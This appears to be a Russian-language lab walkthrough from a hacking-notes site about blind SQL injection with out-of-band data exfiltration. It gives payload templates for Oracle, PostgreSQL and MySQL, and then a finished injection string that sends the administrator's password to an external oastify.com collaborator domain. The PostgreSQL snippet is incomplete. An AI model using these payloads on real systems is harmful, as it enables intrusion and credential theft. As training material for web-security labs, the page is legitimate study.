> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# Экcфильтрация данных SQL-инъекцией через OOB-строку

### Слепая SQL-инъекция с эксфильтрацией данных вне полосы

В этом задании есть уязвимость слепой SQL-инъекции. Приложение использует отслеживающий cookie для аналитики и выполняет SQL-запрос, содержащий значение переданного cookie. / SQL-запрос выполняется асинхронно и не влияет на ответ приложения. Однако можно инициировать взаимодействия вне полосы с внешним доменом. / База данных содержит отдельную таблицу с именем `users`, с `username` и `пароль` столбцами. Вам нужно использовать уязвимость слепой SQL-инъекции, чтобы узнать `administrator` пароль пользователя.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgresSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* Mysql

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Восстановите пароль администратора (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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